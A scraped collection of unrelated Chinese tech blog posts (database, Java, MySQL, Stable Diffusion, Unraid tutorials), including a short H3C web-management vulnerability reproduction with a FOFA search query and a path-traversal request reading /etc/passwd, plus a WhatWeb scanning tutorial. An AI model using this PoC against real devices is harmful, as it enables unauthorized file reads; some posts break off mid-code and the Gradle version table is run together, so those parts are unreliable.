AI智能制作ER图技术革新:itBuilder引领数据库设计新篇章

随着AI技术在各领域的深度渗透,itBuilder已成功引入了一项划时代的功能——运用AI能力直接创作实体关系(ER)图。这一创新应用标志着AI制作ER图的时代已经到来,用户现在可以通过与AI的互动交流,将自身的数据管理需求精准转化为直观且结构严谨的ER模型。 借助先进的AI算法内核,itBuilder允许用户通过自然语言输入,将复杂的业务逻辑和数据表结构需求转化为具体的数据库设计指令。AI引擎会实时解析并据此自动生成包含表结构、外键关联等核心组件的ER图,极大地简化了传统人工绘制流程,提高了设计效率及准确性,使得非专业人士也能高效驾驭数据库架构设计工作。 更引人注目的是,针对AI初次生成的ER图,itBuilder支持用户即时在对话环境中与AI持续沟通,进行反馈和调整优化,确保最终输出的ER图能够精确匹配项目实际需要。同时,平台还提供了保存并手动微调的功能选项,使用户能够在AI制作的基础之上实现个性化定制和精细化打磨。 总结来说,在AI制作ER图这一关键技术的推动下,itBuilder重塑了数据库建模的传统模式,赋予其智能化、交互式的崭新面貌,为全球范围内的数据架构师、开发者们提供了前所未有的便捷解决方案。由此,AI制作ER图不再仅仅是一个概念,而是真正成为加速项目进程、提升设计质量的有效工具,引领着数据库设计行业的全新发展潮流。 请用PC端打开www.itbuilder.cn官网免费试用

【监控】spring actuator源码速读

目录 1.前言 2.先搂一眼EndPoint 3.EndPoint如何被注入 4.EndPoint如何被暴露 4.1.如何通过http暴露 4.2.如何通过jmx暴露 5.EndPoint是怎么实现监控能力的 6.知道这些的意义是什么 1.前言 版本:spring-boot-starter-actuator 2.6.3 阅读源码一定要带着疑问去阅读,这个疑问就是你阅读的主线,不然在浩如烟海的源码里面很容易迷路。我们当前的疑问是什么?之前我们已经聊过spring actuator的使用了: Spring Boot 监控_springboot 监控-CSDN博客 本文要搞清楚的两个问题在于: EndPoint是怎么被注入IOC又怎么暴露出去能通过HTTP访问到的? EndPoint是怎么实现监控能力的? 2.先搂一眼EndPoint 首先我们找一个EndPoint来看看,此处以HealthEndPoint为例。点看源码我们可以看到这个EndPoint被@EndPoint注解所注释,id为health。然后其中的2个方法被@ReadOperation所注释: 这里其实猜都能猜到被@EndPoint注解,然后被注解的类被归类为EndPoint,然后被集中暴露出去,变成可访问的。 3.EndPoint如何被注入 我们是通过stater来引入actuator的,Spring Boot体系内如何注入stater的?那肯定是通过autoConfiguration来的撒。点进actuator的配置文件也可以看到: 于是我们来到spring-boot-starter-actuator来看看,看看它的spring.factories里面注入了些什么: 见名知意了,这些众多的XXXautoConfiguration是拿来做什么的就不必多说了吧,health、metrics......分门别类,各种EndPoint的autoConfiguration。 我们来看看HealthEndpointAutoConfiguration里面做了什么: 其实就是加载了HealthEndpointConfiguration、ReactiveHealthEndpointConfiguration、HealthEndpointWebExtensionConfiguration、HealthEndpointReactiveWebExtensionConfiguration这几个类 @Configuration( proxyBeanMethods = false ) @ConditionalOnAvailableEndpoint( endpoint = HealthEndpoint.class ) @EnableConfigurationProperties({HealthEndpointProperties.class}) @Import({HealthEndpointConfiguration.class, ReactiveHealthEndpointConfiguration.class, HealthEndpointWebExtensionConfiguration.class, HealthEndpointReactiveWebExtensionConfiguration.class}) public class HealthEndpointAutoConfiguration { public HealthEndpointAutoConfiguration() { } } 我们先看HealthEndpointConfiguration,它里面向IOC中注入了health的Registry,HealthContributorRegistry中注册了HealthContributor类型的实体。 我们随便打开一个health的EndPoint,发现它都继承同一个父类: 而这个父类实现了HealthContributor接口: 所以其实就是在将注册器注入IOC的时候,就将所有属于该类型的EndPoint注册到注册器中了。 4.EndPoint如何被暴露 4.1.如何通过http暴露 在SpringBoot体系中,谁来负责http请求?那当然是SpringMVC的DispatcherServlet。把path和对应处理的类注册到DispatcherServlet中就行了。spring actuator就是这样对外通过HTTP的方式暴露EndPoint的。 回到spring.factories,找ManagementContextAutoConfiguration,这个类中完成了通过HTTP的方式来暴露EndPoint的过程: 这个类的代码并不多,我们去掉不要的部分,把和对外暴露EndPoint相关的代码保留,来读一下: @ManagementContextConfiguration( proxyBeanMethods = false ) @ConditionalOnWebApplication( type = Type.

论文aigc总体疑似度多少正常

在学术研究领域,论文的真实性和原创性始终受到高度关注。其中,AIGC(Artificial Intelligence Generated Content,人工智能生成内容)的疑似度评估尤为重要。那么,论文AIGC的疑似度多少才算是正常呢?本文将从七个方面进行详细解析。 论文aigc总体疑似度多少正常需要一下步骤: 一、定义与背景 首先,我们需要明确什么是AIGC疑似度。简而言之,AIGC疑似度是指通过人工智能技术生成的论文内容与真实人类作者撰写的论文内容之间的相似程度。随着AI技术的飞速发展,AIGC在学术界的出现频率越来越高,因此对其疑似度的评估也变得越来越关键。 二、评估方法与工具 为了量化AIGC的疑似度,研究者们开发了一系列评估方法和工具。这些工具通过分析论文的语言结构、词汇使用、逻辑连贯性等方面来评估其疑似度。然而,目前尚未有一个统一的评估标准,因此不同的工具和方法可能会得出不同的结论。 论文aigc检测率为多少合格 三、疑似度与学术诚信 AIGC疑似度的高低与学术诚信密切相关。过高的疑似度可能意味着论文存在抄袭或剽窃等学术不端行为,而较低的疑似度则可能表明论文具有较高的原创性。因此,对AIGC疑似度的评估有助于维护学术诚信和学术研究的公正性。 论文查重遭遇AI辅写疑似度 四、影响因素分析 AIGC疑似度受到多种因素的影响。例如,AI模型的训练数据、生成算法的选择、论文主题和领域等都会对疑似度产生影响。此外,人类作者在论文写作过程中的干预程度也会对AIGC疑似度产生影响。 五、正常范围的界定 关于论文AIGC的疑似度正常范围,目前并没有一个明确的界定。一般而言,疑似度越低,说明论文的原创性越高;而疑似度过高则可能引发学术诚信问题。因此,具体的正常范围需要根据实际情况和研究领域来确定。 六、提高AIGC原创性的建议 为了降低AIGC的疑似度并提高论文的原创性,我们可以采取以下措施:首先,优化AI模型的训练数据和算法选择,以提高生成内容的质量和多样性;其次,鼓励人类作者在论文写作过程中进行更多的创新和思考,而不是简单地依赖AI生成的内容;最后,加强学术规范和学术诚信教育,提高研究者的学术素养和道德意识。 七、总结与展望 综上所述,论文AIGC的疑似度评估是一个复杂而关键的问题。虽然目前还没有一个统一的评估标准和正常范围界定,但随着技术的不断进步和研究的深入,相信未来我们能够更好地解决这一问题。同时,我们也应该认识到AIGC在学术研究领域中的潜力和价值,合理利用和发展这一技术,为学术研究和知识创新做出更大的贡献。

Academic Inquiry|投稿状态分享(ACS,Wiley,RSC,Elsevier,MDPI,Springer Nature出版社)

作为科研人员,我们经常会面临着向学术期刊投稿的问题。一般来说,期刊的投稿状态会在官方网站上进行公示,我们可以通过期刊的官方网站或者投稿系统查询到我们投稿的论文的状态,对于不同的期刊在投稿系统中会有不同的显示。 说明:除了ACS, Wiley, RSC, Elsevier, MDPI以外,还有很多其他知名的国外学术期刊出版社,包括但不限于以下几个: Springer Nature:是世界上最大的学术图书出版商之一,也出版众多著名期刊。Taylor & Francis:拥有众多知名学术期刊,涵盖广泛的学科领域。Oxford University Press:出版高质量的学术期刊,并在许多学科领域中具有影响力。Cambridge University Press:以其高质量的学术出版物而闻名,包括期刊、书籍和在线资源。SAGE Publishing:出版各种学科领域的学术期刊和专业书籍。Taylor & Francis:是另一个知名的学术出版机构,出版了许多重要的学术期刊。 这些出版社都拥有良好的学术声誉,并且出版了许多高质量的学术期刊。当然,还有很多其他值得关注的出版社和期刊,具体选择应根据您感兴趣的研究领域和主题来决定。 一、ACS出版社 (一)ACS出版社介绍 American Chemical Society(美国化学学会,ACS)成立于1876年,现已成为世界上最大的科技协会。ACS现有63种期刊,包括JACS,ACS NANO,MACROMOLECULES,AMI等等。涵盖了非常多的领域,如生化研究方法、有机化学、材料学、植物学、环境工程学、农业学等。 (二)ACS投稿状态 在ACS的投稿系统中会有以下投稿状态: submitted 稿件已提交。邮箱会收到稿件提交成功的邮件 associate editor assigned 稿件分配编辑。编辑会根据稿件内容选择送审/拒稿/转投,此时会收到一封编辑分配成功的邮件 under review ACS的投稿系统中一旦投稿就会显示under review。点击网页中右上角instructions & forms选项可以看到更详细的状态。 in peer review 稿件已经送审,等待审稿人审稿。这一状态会出现多次。 major/minor revision 大修/小修。此时通讯作者已收到附有审稿意见的邮件。 revision submitted 修改稿已提交到期刊。邮箱会收到稿件提交成功的邮件 accept pending revison/prepared to accept 稿件被预接收。恭喜!但还需要修改格式上的错误或其他小问题,稿件已被原则上接收 accept 稿件被接收。恭喜!你的稿件已经被接收,邮箱会收到稿件被接受的邮件,后续需要校样proof,版权转让,缴纳出版费等。 editor reject 拒稿。此时通讯作者会收到拒稿邮件,也有可能会建议转投杂志社旗下其他期刊。 二、Wiley出版社 (一)Wiley出版社介绍 Wiley是指1807年创立于美国的出版商,作为全球领先的学协会出版商,与超过850+家学协会合作,出版1600+种期刊,其中1200+种Wiley期刊被JCR收录, 这些期刊代表了各领域的尖端研究。Wiley旗下出版了Advanced Materials,Advanced Functional Materials,Advanced Energy Materials以及Angewandte Chemie International Edition等顶级期刊。

【漏洞复现】H3C Web网管登录任意文件读取漏洞

Nx01 产品简介 H3C设备的Web网管是指H3C公司生产的网络设备的网络管理界面。它可以通过Web浏览器进行访问和操作,以实现对网络设备的配置、管理和监控。 Nx02 漏洞描述 jquery旧版本存在任意文件读取漏洞,允许攻击者在受害者的服务器上读取任意文件。H3CWeb网管部分使用过时的jquery版本导致存在任意文件读取漏洞。 Nx03 产品主页 fofa-query: body="/webui/js/jquerylib/jquery-1.7.2.min.js" Nx04 漏洞复现 POC: /webui/?g=sys_dia_data_down&file_name=../../../../../../../../../../../../etc/passwd Nx05 修复建议 建议联系软件厂商进行处理。

基于Java+SpringBoot+Vue.js前后端分离农产品购物商城系统设计和实现 可行性分析

博主介绍:黄菊华老师《Vue.js入门与商城开发实战》《微信小程序商城开发》图书作者,CSDN博客专家,在线教育专家,CSDN钻石讲师;专注大学生毕业设计教育和辅导。 所有项目都配有从入门到精通的基础知识视频课程,学习后应对毕业设计答辩。 项目配有对应开发文档、开题报告、任务书、PPT、论文模版等 项目都录了发布和功能操作演示视频;项目的界面和功能都可以定制,包安装运行!!! 如果需要联系我,可以在CSDN网站查询黄菊华老师 在文章末尾可以获取联系方式 基于Java+SpringBoot+Vue.js的前后端分离农产品购物商城系统设计和实现是可行的。以下是对该系统的可行性分析: 技术支持:Java作为一种广泛应用的编程语言,具有丰富的开发工具和框架,能够支持复杂的系统设计和开发。SpringBoot是一个快速开发框架,能够提供各种功能模块和便捷的配置管理。Vue.js是一种流行的前端开发框架,能够构建交互式的用户界面。这些技术的支持保证了系统的开发能力和可靠性。 可扩展性:基于Java+SpringBoot+Vue.js的系统设计可以实现模块化开发,各个功能模块之间松耦合,便于扩展和维护。系统可以根据需求增加新的功能模块,以满足不断变化的业务需求。 性能:Java语言具有优秀的性能表现,能够支持高并发和大数据处理。SpringBoot框架通过自动化配置和优化,可以提高系统的性能。而Vue.js框架采用虚拟DOM技术,可以提高前端页面的渲染效率。 可移植性:基于Java+SpringBoot+Vue.js的系统设计可以在多个平台上运行,具有较好的可移植性。无论是部署在Linux、Windows还是其他系统上,都能够正常运行。 易用性:Java语言易学易用,具有丰富的开发文档和论坛资源。SpringBoot和Vue.js框架都具有简洁的API和良好的文档,可以帮助开发者快速上手和开发系统。 综上所述,基于Java+SpringBoot+Vue.js的前后端分离农产品购物商城系统设计和实现是完全可行的,能够满足系统的功能需求和性能要求,并具备良好的可扩展性和可维护性。 基于Java+SpringBoot+Vue.js的前后端分离农产品购物商城系统的设计和实现,其可行性分析如下: 1. 技术可行性 Java & SpringBoot:Java语言以其稳定性、跨平台性和丰富的生态系统而闻名,特别适合于构建大型、可扩展的企业级应用。SpringBoot框架进一步简化了Java应用的开发和部署,通过自动化配置和约定优于配置的原则,使得开发人员能够更快速地构建和部署Web应用。因此,使用Java和SpringBoot作为后端技术栈在技术上是可行的。 Vue.js:Vue.js是一个轻量级且高性能的前端框架,特别适合于构建用户界面。它的组件化开发方式使得前端开发更加模块化、可维护,并且与第三方库的集成也非常方便。Vue.js的响应式数据绑定和灵活的指令系统也大大简化了前端开发的复杂性。 前后端分离架构:前后端分离的架构模式已成为现代Web开发的标准。在这种架构下,前端和后端可以独立开发和测试,提高了开发并行度和系统的可扩展性。Java+SpringBoot作为后端提供API接口,Vue.js作为前端展示数据和交互,两者之间的通信通过HTTP/HTTPS协议进行。 2. 经济可行性 成本效益:使用Java、SpringBoot和Vue.js这些开源技术可以降低软件购买成本,因为这些技术都是免费提供的。此外,这些技术的广泛采用也意味着有大量的开发者和社区支持,可以降低开发过程中的学习和维护成本。 市场需求:农产品市场一直是一个稳定且庞大的市场。随着消费者对食品安全和品质的要求提高,线上购买农产品成为越来越多人的选择。因此,构建一个专门的农产品购物商城系统具有广阔的市场前景和潜力。 长期收益:通过提供优质的农产品和便捷的购物体验,可以吸引并保持用户忠诚度,从而实现长期的收益增长。同时,系统可以根据市场需求进行功能扩展和升级,以适应不断变化的市场环境。 3. 社会可行性 用户接受度:随着电子商务的普及和消费者对线上购物便利性的认可,农产品购物商城系统容易被用户接受。特别是对于注重食品安全和品质的消费者来说,一个可信赖的农产品购物平台是非常受欢迎的。 安全性考虑:农产品涉及到食品安全问题,因此系统的安全性至关重要。Java和SpringBoot提供了强大的安全特性来保护用户数据和交易信息的安全。同时,系统需要遵守相关的法律法规和行业标准来确保用户数据的安全性和隐私保护。 社会趋势:农业数字化和农产品电商化是当前社会发展的趋势之一。构建一个专门的农产品购物商城系统符合这一社会趋势,有助于推动农业产业的数字化转型和升级。 4. 操作可行性 开发工具与环境:Java、SpringBoot和Vue.js都有成熟的开发工具和集成开发环境支持,这些工具提供了代码编辑、调试、测试等全方位的功能,可以大大提高开发效率和质量。 部署与运维:Java应用可以部署在各种类型的服务器上,而SpringBoot的内置服务器和自动化配置功能简化了应用的部署过程。同时有丰富的监控和日志工具可供使用来确保系统的稳定运行和故障的快速排查与恢复。 学习与培训:Java、SpringBoot和Vue.js都是热门的技术栈,拥有大量的学习资源和培训机会可供开发人员选择和学习。这有助于开发团队快速掌握相关技能并投入到项目中。 结论 综上所述,基于Java+SpringBoot+Vue.js的前后端分离农产品购物商城系统在技术、经济、社会和操作等方面都是可行的。然而在实际的开发过程中还需要根据具体的需求和条件进行详细的规划和设计以确保项目的成功实施和满足市场需求。

【手写数据库】从零开始手写数据库内核,行列混合存储模型,学习大纲成型了

目录 ​专栏内容: 手写数据库toadb 本专栏主要介绍如何从零开发,开发的步骤,以及开发过程中的涉及的原理,遇到的问题等,让大家能跟上并且可以一起开发,让每个需要的人成为参与者。 本专栏会定期更新,对应的代码也会定期更新,每个阶段的代码会打上tag,方便阶段学习。 文章目录 目录 序言 概述 taodb数据库架构 第一阶段 准备阶段 第一章 开发环境 第二阶段 实现阶段 第二章 物理存储 第三章 表文件访问 第四章 表的访问 第五章 数据字典 第六章 SQL解析 第七章 执行计划 第八章 执行器 第九章 内存管理 第三阶段 工具开发 第十章 单向链表 第十一章 双向链表 第十二章 客户端 第十三章 测试工具 源码开放 结尾 序言 随着计算机技术的飞速发展,数据库作为数据处理的核心组件,在各个领域发挥着越来越重要的作用。为了更好地理解和掌握数据库技术,本教程将带领大家从零开始学习编写数据库内核。我们将采用行列混合的存储模型,从SQL分析开始,逐步深入到执行计划、执行、数据存储以及数据字典等模块。 通过本教程的学习,你将掌握如何使用C语言从零开始编写数据库内核,了解数据库内部的工作原理,并能够根据实际需求进行定制和优化。无论你是数据库初学者,还是有一定经验的开发者,本教程都将为你提供宝贵的实践经验和深入的技术解析。 让我们一起踏上这段数据库内核开发的旅程,掌握核心技术,为未来的数据库应用打下坚实的基础! 概述 【手写数据库】从零开始手写数据库内核,行列混合存储模型,学习大纲成型了 终于可以执行SQL了【手把手教你写数据库】 手写数据库toadb 保姆级教程来了 taodb数据库架构 toadb 数据库基础架构 【手写数据库toadb 造不一样的轮子】行列混合存储模型 就是为大模型分析准备的 第一阶段 准备阶段 第一章 开发环境 【手写数据库toadb】01 开发数据库内核准备阶段-开发环境准备 【手写数据库toadb】02 开发数据库内核准备阶段-git工具使用 第二阶段 实现阶段 【手写数据库toadb】10 开发数据库内核开发阶段-数据库模型

JDK8 升级至JDK19

优质博文IT-BLOG-CN 目前部分项目使用JDK8,部分项目使用JDK19因此,环境变量中还是保持JDK8,只需要下载JDK19免安装版本,通过配置IDEA就可以完成本地开发。 一、IDEA 环境设置 【1】通过快捷键CTRL + SHIFT + ALT + S或者File->Project Structure...设置SDK和Language level,不存在JDK19时可通过Edit添加 【2】设置下方的Modules中的Sources模块和Dependencies模块 【3】设置下方的Platform Setting中的SDKs模块 【4】设置File->Settings...中的Build,Excepotion,Deployment下的Builder Tools->Maven->Runner模块 【5】设置File->Settings...中的Build,Excepotion,Deployment下的Compiler->Java Compiler模块 【6】如果使用了Tomcat点击Edit Configurations...后,设置JRE模块 【7】设置完成后通过Maven插件进行编译,因为通过控制台执行mvn命令时使用的是本地环境变量中配置的JDK版本,而Maven插件使用的是IDEA中配置的JDK版本。 二、POM依赖修改 在项目父模块的pom.xml中添加如下plugin <properties> <maven.compiler.plugin.version>3.10.1</maven.compiler.plugin.version> <java.version>19</java.version> </properties> <build> <pluginManagement> <plugins> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-compiler-plugin</artifactId> <version>${maven.compiler.plugin.version}</version> <configuration> <source>${java.version}</source> <target>${java.version}</target> <compilerArgument>--enable-preview</compilerArgument> <compilerVersion>${java.version}</compilerVersion> </configuration> </plugin> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-surefire-plugin</artifactId> <version>2.12.4</version> <configuration> <argLine> --add-opens java.base/java.lang=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED --add-opens java.base/sun.reflect.annotation=ALL-UNNAMED --add-opens java.base/java.math=ALL-UNNAMED --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/sun.util.calendar=ALL-UNNAMED --add-opens java.base/java.io=ALL-UNNAMED --add-opens java.base/java.net=ALL-UNNAMED --add-opens java.xml/com.sun.org.apache.xerces.internal.jaxp.datatype=ALL-UNNAMED </argLine> </configuration> </plugin> <plugin> <groupId>org.

Web 扫描神器:WhatWeb 保姆级教程(附链接)

一、介绍 WhatWeb 是一款用于识别网站技术栈和特征的开源Web扫描工具。它可以自动分析网站的响应并识别出使用的Web框架、CMS、服务器、JavaScript库等技术组件。WhatWeb的目标是通过分析网站的内容,提供有关目标的技术信息,这对于安全测试、漏洞评估和信息搜集等任务非常有用。 以下是WhatWeb的一些特点和功能: 自动识别技术栈: WhatWeb能够自动检测网站使用的各种技术,包括Web服务器、Web应用框架、CMS、JavaScript库等。 插件系统: WhatWeb具有可扩展的插件系统,允许用户自定义检测规则和添加新的检测模块。 多种输出格式: WhatWeb支持多种输出格式,包括文本、JSON和XML等,使其易于集成到其他工具和流程中。 灵活性: 用户可以通过命令行参数或配置文件来控制WhatWeb的行为,例如设置扫描深度、使用代理、指定用户代理等。 分析页面内容: 除了识别技术栈,WhatWeb还能分析页面内容,识别关键字、文件路径、目录结构等信息。 二、安装 WhatWeb Kail Linux 默认安装了 WhatWeb,所以只需安装 Kail Linux 即可使用。没有的可以参考下篇文章来安装 Kail Linux 如何在 VM 虚拟机中安装 Kail Linux 2023.4 操作系统保姆级教程(附链接)https://eclecticism.blog.csdn.net/article/details/135864762 三、使用 WhatWeb 3.1 普通扫描 whatweb 域名/文件(文件中存放多个域名) 可以看到输出有些混乱,可以加 -v 参数来解决 3.2 详细扫描 whatweb -v 域名 这么看是不是就清楚多了 3.3 扫描强度 WhatWeb 有 4 种扫描级别,通过数字 1~4 选择,默认为1: stealthy 每个目标发送一次http请求,并且会跟随重定向unused 不可用(从2011年开始,此参数就是在开发状态)aggressive 每个目标发送少量的http请求,这些请求时根据参数为1时结果确定的heavy 每个目标会发送大量的http请求,会去尝试每一个插件 whatweb -v -a 等级 域名 3.4 内网扫描 whatweb --no-errors -t 255 IP/子网掩码

MySQL workbench使用教程(逐渐补充版)

附件: 附1:MySQL下载、安装、配置之Windows 附2:MySQL workbench下载、安装、配置、汉化教程 一、 使用 Workbench 操作数据库 1.MySQL Workbench 初始化界面 2.连接远程 MySQL 数据库 3.创建数据库 切换至schemas标签,右键单击,选择create schema 在 Schema Name 里填入新建数据库的数据库名,然后选择 Apply MySQL Workbench 会自动帮助我们生成 SQL 命令,创建数据库。 执行命令,创建成功。可以看到 Schemas 列表中多了我们刚刚创建的 kalacloud_demo 数据库 、 4.在数据库中创建表 右键点击数据库 ,选择 Set as Default Schema 先把它设置成默认数据库。 然后选择下箭头,右键点击 Tables 选择 Create Table 进入创建表的流程页。 (1)Name:这里填写表名 (2)这里创建表中的各列、列属性。 (3)点击<click to edit>可添加一列。 (4)点击 Apply 执行 SQL 命令。 MySQL Workbench 会帮我们生成创建表的 SQL 命令。 5.查看表数据 (1)点击要查看的表名后面的「闪电 icon」标示 (2)Workben 自动帮我们生成一段查看表的 SQL 命令

uniapp富文本文字长按选中(用于复制,兼容H5、APP、小程序三端)

方案:使用u-parse的selectable属性 <u-parse :selectable="true" :html="content"></u-parse> 注意:u-parse直接使用是不兼容小程序的,需要对u-parse进行改造: 1. 查看u-parse源码发现小程序走到以下逻辑:(没有传入selectable属性,需要将selectable传入trees组件) 改造前: 改造后: 2. 进入trees组件,找到富文本展示逻辑,发现使用uni-app的rich-text,支持selectable属性。 改造前: 改造后:(由于uniapp rich-text ios无法实现复制功能,故加上:user-select="selectable"兼容ios)

解决用IPV6+DDNS访问UNRAID webui周期性失效的问题,smb不能访问的问题

我使用的unraid系统使用ddns(DDNSGO)绑定域名(阿里域名)与主机的ipv6地址进行远程访问,unraid是6.12.8。 遇到的问题是,配置当时是没问题的,但是过几天就会失效,无法通过域名访问webui了。这种情况在之前使用威联通的NAS的时候没有遇到过。但是docker里面的应用还是正常的,通过这个现象基本锁定是nginx的问题了。 通过看nginx的配置文件(/etc/nginx/conf.d/servers.conf),这个配置文件是unraid自动生产的,会直接把当前的ipv6地址写到配置里面: 自动生产的nginx配置文件 只有匹配了地址才能正常访问,但是一旦IPV6地址变更了,系统又不会自动更新,就不能通过webui访问了。而且在使用的过程中,发现一旦IPV6地址变更,系统自带的SMB共享功能也不能通过IPV6进行访问了。 解决这个问题的方法有好几个: 1、安装zerotier,映射到内网,通过内网IP地址访问,同时在unraid里面添加对应的虚拟网卡: ​在uraid的网络配置里面加入zerotier的虚拟网卡 系统会自动把这个网段加入到nginx的配置里面。由于zerotier的地址是内网地址,而且不会变更,所以这个问题可以一定程度的解决这个问题,但是要求访问的设备也装zerotier,这个不方便。 2、周期性重启nginx和smb服务 定期执行/etc/rc.d/rc.nginx -restart 可以重新生产nginx配置文件,并应用。 同理,定期执行/etc/rc.d/rc.samba -restart 也可以恢复samba的访问。 但问题是,重启周期是多少?太短,如一分钟,那么webui和samba每分钟都会断开;太长,则IPV6地址变更到重启的间隔之内,都不能访问到,问题没有很好的解决。 3、通过优化nginx配置,并监测nginx文件是否变化,在变化后更新配置。这种是我目前正在使用的方式,优点是灵活,空窗期比较短,缺点是你得自己写代码。 首先优化nginx的配置。不要使用IPV6绑定访问,而是使用域名绑定访问: 注意这个修改在全文有两三个地方,都要改好了。 然后把conf文件存在/boot/下面,这个文件夹是在启动盘里面的,不会随着重启而消失。 后面就简单了,写个python,监控/etc/nginx/conf.d/servers.conf 是否和改好的 conf 一致,若不一致,复制一份覆盖过去,并重启nginx和samba: #nginx的维护程序 def mtNginx(): logger.info('执行nginx维护') global nginxNeedReload #检查nginx的配置缓存文件是否存在. if not(os.path.exists(NGINX_CONF_CACHE)): logger.warning('nginx配置缓存不存在,复制缓存到制定位置.') os.system(f'cp {NGINX_CONF_SOURCE} {NGINX_CONF_CACHE}') #检查nginx的配置文件是否需要更新 if os.path.getsize(NGINX_CONF_CACHE) != os.path.getsize(NGINX_CONF): logger.warning('nginx配置文件异常,执行更新.') os.system(f'cp {NGINX_CONF_CACHE} {NGINX_CONF}') #重启samba服务 os.system(f'/etc/rc.d/rc.samba -restart') nginxNeedReload = True #检查nginx配置是否需要更新 if nginxNeedReload: res = os.popen('nginx -s reload').read() if res == '': logger.warning('enginx配置更新成功.') nginxNeedReload = False else: logger.

Android开发中Gradle插件,Gradle版本与JDK版本之间的对应关系

Gradle插件Gradle版本SDK Build ToolsJDK版本说明8.28.1178.18.0178.08.030.0.3177.47.530.0.3117.37.430.0.3117.27.3.330.0.3117.17.230.3.30114.2.0+6.7.130.0.28+4.1.0+6.5+29.0.28+4.0.0+6.1.1+29.0.28+3.6.0~3.6.45.6.4+28.0.38+3.5.0 - 3.5.45.4.1+28.0.38+3.4.0 - 3.4.35.1.1+28.0.38+3.3.0 - 3.3.34.10.1+28.0.38+3.2.0 - 3.2.14.6+28.0.38+3.1.0+4.4+27.0.38+

Stable Diffusion webui安装详细教程

上一篇文章介绍了sd主流的ui,相信大家已经有所了解,下面为大家介绍sd-webui的安装详细教程 文章目录 一、 安装包说明二、对电脑的要求三、安装文件介绍四、安装步骤五、电脑问题与云主机六、界面简要说明及通用反向提示词 一、 安装包说明 通常我们使用的是秋葉aaaki 版本的一键安装包,安装包都是基于开源项目 stable diffusion webui进行整合的,底层不会改变,只是预装了一些好用的插件,整合了运行环境(git、python、cuda等,这些不需要再单独安装),也无需任何配置,解压即用。 理论上来讲,通过整合包安装比自己下载开源项目,一步一步搭建环境要更加稳定,因为安装包是绿色版本,所有的运行环境都是在包内随用随删,运行环境是独立虚拟的,不会产生任何冲突。 安装包可以直接通过大神的分享下载(大小6.4G左右)懒得找的伙伴也可以通过文章顶部我上传的连接进行下载,这个根据大神介绍是24年1月最新版本,也是最终版本,已经优化了显存使用,放置爆显存,后续如果有更新,这个版本可自己进行升级,不用重新下载安装,非常得方便。 二、对电脑的要求 操作系统:win10及以上 cpu:不做硬性要求 内存:必须8GB以上 显卡:必须是Nvidia的独立显卡,显存最低4GB,当然显存越高越好 硬盘:最好固态硬盘,安装在固态硬盘中,模型加载速度会比较快,当然机械硬盘也没问题,只是略慢。 三、安装文件介绍 网盘分享主要有三个, 第一个是启动器运行依赖,如果之前没用过这个安装包,直接双击启动器运行依赖,一路下一步即可安装。 第二个是sd-webui-aki-v4.6.1.7z压缩包,下载后解压到硬盘根目录即可(尽量放在非系统盘,因为比较大,尽量不占用系统空间)。 第三个是controlnet模型,可以不用下,后期使用时再下载也可以。 四、安装步骤 分两步,第一步安装运行依赖,第二步解压压缩包,点击里面的启动即可,非常方便。 第一步:直接双击下载好的"启动器运行依赖-dotnet-6.0.1.1.exe", 弹出窗口点击安装即可。 等待进度条结束,直接点击关闭即可。 当然这里如果你之前安装过,可能会提示安装失败,直接关闭即可,因为已经安装过了,并没有什么影响。 第二步:将“sd-webui-aki-v4.6.1.7z”压缩包解压到比如d盘根目录 解压可能需要大概一分钟时间,解压完毕之后直接点击文件内的“A绘世启动器”即可。 初次使用会提示更新,等待即可,比较快的。 更新完毕后会直接进入整合安装包的操作界面,点击右下角“一键启动”即可自动打开sd的webui界面啦: 启动时会自动加载扩展依赖和插件 大约1分钟左右不到,浏览器就自动跳出了并打开webui了,无需手动输入访问地址,界面如下(可以看到,安装包已经预装了一个大模型 anything,如果想用其他大模型可自行去c站或国内大模型网站进行下载): 到这里,安装就结束了,有任务问题随时评论。 五、电脑问题与云主机 很多小伙伴可能电脑配置不高,用起来很卡,买一台新的价格又承受不起,可以找一些云主机租用,找那些按分钟或小时计费的那种即可,3080显卡也就一小时不到1块钱,非常的便宜,我自己一直用的也是云主机,配置高,网速快,用的时候网盘下载下载安装也就10分钟不到,非常方便。 使用云主机如果想本地电脑访问webui, 可以在安装包操作界面的“高级选项”里设置下监听即可,非常方便。 如下图,监听地址设置为0.0.0.0即可。监听端口设置为云主机的对外监听端口(不知道的可咨询云主机客服),如果云主机没限制直接输入访问的端口即可默认7860; 设定好之后,在外部自己的笔记本上就可以直接访问啦,输入云主机得ip加监听的端口即可,如图: 六、界面简要说明及通用反向提示词 通用反向提示词 (worst quality:2), (low quality:2), (normal quality:2), ((monochrome)), ((grayscale)), bad anatomy, skin spots, acnes, skin blemishes,(fat:1.2),facing away, looking away,tilted head, lowres,bad anatomy,bad hands, missing fingers,extra digit, fewer digits,bad feet,poorly drawn hands,poorly drawn face,mutation,deformed,extra fingers,extra limbs,extra arms,extra legs,malformed limbs,fused fingers,too many fingers,long neck,cross-eyed,mutated hands,polar lowres,bad body,bad proportions,gross proportions,missing arms,missing legs,extra digit, extra arms, extra leg, extra foot,teethcroppe,signature, watermark, username,blurry,cropped,jpeg artifacts,text,error,Facial dysmorphism

MySQL导入/导出数据

MySQL导入/导出数据 文章目录 MySQL导入/导出数据一、MySQL 导入数据1、mysql 命令导入2、source 命令导入3、使用 LOAD DATA 导入数据4、使用 mysqlimport 导入数据4.1、mysqlimport的常用选项介绍 二、MySQL 导出数据1、使用 SELECT ... INTO OUTFILE 语句导出数据2、mysqldump 导出表作为原始数据2.1、mysqldump 实例1. 导出整个数据库2. 导出特定表3. 导出数据库结构4. 导出压缩文件5.导出 SQL 格式的数据 3、将数据表及数据库拷贝至其他主机 一、MySQL 导入数据 1、mysql 命令导入 使用 mysql 命令导入语法格式为: mysql -u your_username -p -h your_host -P your_port -D your_database your_username、your_host、your_port、your_database 分别为你的 MySQL 用户名、主机、端口和数据库。 实例: # mysql -uroot -p123456 < runoob.sql 以上命令将将备份的整个数据库 runoob.sql 导入。 执行上述命令后,系统将要求输入 MySQL 用户的密码。输入密码并按Enter键。 这样,MySQL 将执行 SQL 文件中的语句,将数据导入到指定的数据库中。 请注意,如果 SQL 文件包含创建数据库的语句,确保在执行导入之前数据库已经存在。如果文件包含创建表的语句,确保表不存在或者是空的,以免导入数据时发生冲突。 2、source 命令导入 source 命令导入数据库需要先登录到数库终端:

